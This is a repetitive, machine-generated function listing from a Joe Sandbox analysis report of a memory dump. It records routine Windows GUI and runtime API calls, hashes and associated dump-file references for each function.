Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Color$LongObjectTextWindow
String ID:
API String ID: 2871169696-0
Opcode ID: 9b81d61ce72c90800aa1d1b41f42512e257ed80b100dc4fb41abb7025a10b052
Instruction ID: 905b982112402edc23945194d623378f52a1536f3c11b75ad43f9a15347fc747
Opcode Fuzzy Hash: 9b81d61ce72c90800aa1d1b41f42512e257ed80b100dc4fb41abb7025a10b052
Instruction Fuzzy Hash: 88014B39900109AFDF255F64DC49EAF3B68EB22705F104622FE03C45E0CB75CC95DAA9

Function 004B0871 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

GetWindowExtEx.GDI32(?,?), ref: 004B0882
GetViewportExtEx.GDI32(?,?), ref: 004B088F
MulDiv.KERNEL32(?,00000000,00000000), ref: 004B08B4
MulDiv.KERNEL32(?,00000000,00000000), ref: 004B08CF

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ViewportWindow
String ID:
API String ID: 1589084482-0
Opcode ID: 04033b5fa1bb47adf3b5e716786fd40619b47ab71f23b458a1735911f6b0e873
Instruction ID: 9c2941df8100ea1da88259167059a0eaf6ae8d65ba12af604a5a25f1bb81b7e4
Opcode Fuzzy Hash: 04033b5fa1bb47adf3b5e716786fd40619b47ab71f23b458a1735911f6b0e873
Instruction Fuzzy Hash: 2BF0F672400109BFEF117B65EC0ACAEBBBDEF44210710443AF951A2272DA71AD509A58

Function 004B08DA Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

GetWindowExtEx.GDI32(?,?), ref: 004B08EB
GetViewportExtEx.GDI32(?,?), ref: 004B08F8
MulDiv.KERNEL32(?,00000000,00000000), ref: 004B091D
MulDiv.KERNEL32(?,00000000,00000000), ref: 004B0938

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ViewportWindow
String ID:
API String ID: 1589084482-0
Opcode ID: e35fa509e318d98ccb7c4032dd6b8661e45680d56e720081c69b27459f96d834
Instruction ID: 83099eedb8b243193281c6589b8b59a57c2fd7bd07449764f9d9ac46fe12d5af
Opcode Fuzzy Hash: e35fa509e318d98ccb7c4032dd6b8661e45680d56e720081c69b27459f96d834
Instruction Fuzzy Hash: D8F0F672400109BFEF117B65EC0ACAEBBBDEF44210710443AF951A2272DA71AD509A58

Function 004512B0 Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 004512BF
PtInRect.USER32(?,?,?), ref: 004512D4

Part of subcall function 004AE37A: IsWindowEnabled.USER32(?), ref: 004AE384

Part of subcall function 004516F0: UpdateWindow.USER32(00000002), ref: 0045170D

GetCapture.USER32 ref: 004512FC
SetCapture.USER32(00000002), ref: 00451307

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CaptureRectWindow$ClientEnabledUpdate
String ID:
API String ID: 2789096292-0
Opcode ID: 4e1ac83c192f4b42b17e7df8d6fba3e9b97b9645239e2b71bee6fe95e7c369a8
Instruction ID: 904192e786ca4b8cbf35fb1389461776a6fddac0e56eba05b4977fd877cb0867
Opcode Fuzzy Hash: 4e1ac83c192f4b42b17e7df8d6fba3e9b97b9645239e2b71bee6fe95e7c369a8
Instruction Fuzzy Hash: 6FF04F716042109BD724AB25D855F6F73A8BF54701B044A1EFD81C3662DB78ED05CBA9

Function 004B4758 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(00CF9AB0), ref: 004B4793
RtlInitializeCriticalSection.NTDLL(00000000), ref: 004B47A5
RtlLeaveCriticalSection.NTDLL(00CF9AB0), ref: 004B47AE
RtlEnterCriticalSection.NTDLL(00000000), ref: 004B47C0

Part of subcall function 004B46C5: GetVersion.KERNEL32(?,004B4768,00000000,004B3B35,00000010,?,?,00000000,?,?,004B351C,004B357F,004B2DFB,004A8200), ref: 004B46D8

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CriticalSection$Enter$InitializeLeaveVersion
String ID:
API String ID: 1193629340-0
Opcode ID: 17b9e0df067839af8bcbd8480c940102760286bd399bbb1da5ff7be213256098
Instruction ID: e0ee5bef1439ba2882093a1568162d185e52fc5a5cef055f90355b63943ce6b5
Opcode Fuzzy Hash: 17b9e0df067839af8bcbd8480c940102760286bd399bbb1da5ff7be213256098
Instruction Fuzzy Hash: 63F03C3140121AEFCF14DF68ECC4BEAB3BDFB9131AB010577E64582122DB34E455DA6A

Function 004B1522 Relevance: 6.0, APIs: 4, Instructions: 29stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 004B152F
GetWindowTextA.USER32(?,?,00000100), ref: 004B154B
lstrcmp.KERNEL32(?,?), ref: 004B155F
SetWindowTextA.USER32(?,?), ref: 004B156F

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: TextWindow$lstrcmplstrlen
String ID:
API String ID: 330964273-0
Opcode ID: 95e46f05bc309b38862fa0df7ed152d957ba0a064f39ac6bb2875cef3fd67751
Instruction ID: 2edd9dc63e16694b6c73b15a1a50a8cdf89ffc6fe0e475b844e1a6f3edf9fc06
Opcode Fuzzy Hash: 95e46f05bc309b38862fa0df7ed152d957ba0a064f39ac6bb2875cef3fd67751
Instruction Fuzzy Hash: 72F0F836400019BFDF226F64DC08ADA7B6DEB18394F008161F95AD5120E7759E959BA8

Function 004A080B Relevance: 6.0, APIs: 4, Instructions: 12COMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.NTDLL ref: 004A0818
RtlInitializeCriticalSection.NTDLL ref: 004A0820
RtlInitializeCriticalSection.NTDLL ref: 004A0828
RtlInitializeCriticalSection.NTDLL ref: 004A0830

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection
String ID:
API String ID: 32694325-0
Opcode ID: f1cdd7b1d80355b4a89df4cbdf32e75f67195a4b5a5fd1be782decdca9ca8548
Instruction ID: cc4e14b77482c8f275ef36e096fc0e191f79e440098a1677f606ec1b7a44252c
Opcode Fuzzy Hash: f1cdd7b1d80355b4a89df4cbdf32e75f67195a4b5a5fd1be782decdca9ca8548
Instruction Fuzzy Hash: A3C0EA31801028AACF626B65FE4AF8E3F66EB483A13010062E205521708A361C20EF94

Function 00431150 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 291COMMON

Download Yara Rule

Strings

<, xrefs: 004314DA

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: a913c1804d52d32f7a8b0ad7525a25ace42213f5d24f9753bb66bf5a24f5b856
Instruction ID: 93b369b909506141f782c870f74a5bcdd81276dc8688e00c3bd5141485afb095
Opcode Fuzzy Hash: a913c1804d52d32f7a8b0ad7525a25ace42213f5d24f9753bb66bf5a24f5b856
Instruction Fuzzy Hash: E0B1A5716087419FD724CF24C880A6BB7E5BBD8310F249A2EF59AD7390DB38D905CB96

Function 00499022 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 004990B2

Strings

pow, xrefs: 0049908A, 004990A7

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 3069dae30eb8d56ae9c9bedf9dbdbb12d45d340c08f2bd534d6e1c73d2588e78
Instruction ID: c66f240953645ad534a334689553c97f37412b49c0b71823eacb24ac4c1c6574
Opcode Fuzzy Hash: 3069dae30eb8d56ae9c9bedf9dbdbb12d45d340c08f2bd534d6e1c73d2588e78
Instruction Fuzzy Hash: CD511460A0920296DF11B71EC95637B6F94AB40710F248D7FE4D6423A9EB3E8C859A4F

Function 0042C800 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 004B3BFA: __EH_prolog.LIBCMT ref: 004B3BFF
Part of subcall function 004B3BFA: GetCurrentThread.KERNEL32 ref: 004B3C4D
Part of subcall function 004B3BFA: GetCurrentThreadId.KERNEL32 ref: 004B3C56

Part of subcall function 004418A0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00437E28), ref: 00441915

RtlInitializeCriticalSection.NTDLL(00CD8540), ref: 0042CB12

Strings

>K, xrefs: 0042CA65
dC, xrefs: 0042C896, 0042C8A9, 0042C8BC, 0042C8CF, 0042C8E2, 0042C8F5, 0042C908, 0042C942, 0042C955, 0042C968, 0042C97B, 0042CA5F

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CurrentThread$CreateCriticalEventH_prologInitializeSection
String ID: dC$>K
API String ID: 1775145326-1533014124
Opcode ID: c6f893ce1d4f5d93a620755421978096c7b76e0ebac67ea1e9312f1bdb072d0b
Instruction ID: c135fb720479cb8ca35b34598a9e65ed87638f35bca16a9313bbd9ebf2a80824
Opcode Fuzzy Hash: c6f893ce1d4f5d93a620755421978096c7b76e0ebac67ea1e9312f1bdb072d0b
Instruction Fuzzy Hash: FA81F4B4915B508BC325DF26D490BCAFBE8BFA5344F80495FD4AB47352DBB82208CB65

Function 0043C870 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 0043C905
CreateAcceleratorTableA.USER32(00000000,00000000,?,?,00000000,004B6128,000000FF,00431B5C,00000000,?,00000000,00000000,000000FF,00000000,?,?), ref: 0043C9C3

Strings

dC, xrefs: 0043C8EB

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Create$AcceleratorMenuTable
String ID: dC
API String ID: 2356407203-692593019
Opcode ID: 25df34f6c2eb066e6b1b859d8e4b4ed44b9dc109368196dd4938b4549add93cc
Instruction ID: 9aa1259456e78e68f819e504b388b4a47bef9741264f59b4a862422e132cf192
Opcode Fuzzy Hash: 25df34f6c2eb066e6b1b859d8e4b4ed44b9dc109368196dd4938b4549add93cc
Instruction Fuzzy Hash: D341DCB10043409BC310DF18D881B6BB7F9EF89714F550A1EF88597391E779E908CBA6

Function 0049D5CE Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,00000000), ref: 0049D5E2

Strings

, xrefs: 0049D607
, xrefs: 0049D62B

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: ecdf5abff324758bd3d3bebca4a2afd4c99bcbc1f0ace4cf8754bc215daa5505
Instruction ID: b1e85f982678af4e98d88c04eea53f2caf0587d6c0b058cacb429fb91a3ddab4
Opcode Fuzzy Hash: ecdf5abff324758bd3d3bebca4a2afd4c99bcbc1f0ace4cf8754bc215daa5505
Instruction Fuzzy Hash: 054123318042981BDF268664DD4EBFB7FAA9B17704F1400F6D68ACB192C2794944DBA7

Function 004B22F9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004B22FE

Part of subcall function 004B3B14: __EH_prolog.LIBCMT ref: 004B3B19

Part of subcall function 004AE1EB: GetWindowLongA.USER32(?,000000F0), ref: 004AE1F7

Part of subcall function 004B0943: __EH_prolog.LIBCMT ref: 004B0948
Part of subcall function 004B0943: 73E9A570.USER32(00000000,-00000014,?,004391EF,00000000,-00000014,?,?,?,?,?,?,00431770,?,0000001C), ref: 004B0971

Part of subcall function 00498BEC: SendMessageA.USER32(?,00000031,00000000,00000000), ref: 00498BF5

Part of subcall function 004B023F: SelectObject.GDI32(?,00000000), ref: 004B0261
Part of subcall function 004B023F: SelectObject.GDI32(?,?), ref: 004B0277

GetTextMetricsA.GDI32(?,1K), ref: 004B2350

Strings

1K, xrefs: 004B2349, 004B235F, 004B234C

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: H_prolog$ObjectSelect$A570LongMessageMetricsSendTextWindow
String ID: 1K
API String ID: 1813658184-3277982518
Opcode ID: 334666cafcd1713af45113c3916982bc412a6284922d009493264de3d2a53dc8
Instruction ID: 5c09a806d01b32e7484ea61098b18bf4915f436aa2da096f515c98c991aec435
Opcode Fuzzy Hash: 334666cafcd1713af45113c3916982bc412a6284922d009493264de3d2a53dc8
Instruction Fuzzy Hash: 0911A572A004149BCF08ABA9CD95AEEB779FF54325F14412FE002E7291DE786E05CB78

Function 00562500 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMONLIBRARYCODE

Download Yara Rule

APIs

__Getctype.LIBCPMT ref: 0056250D
__Getcvt.LIBCPMT ref: 00562520

Strings

0;V, xrefs: 00562506, 0056250A

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
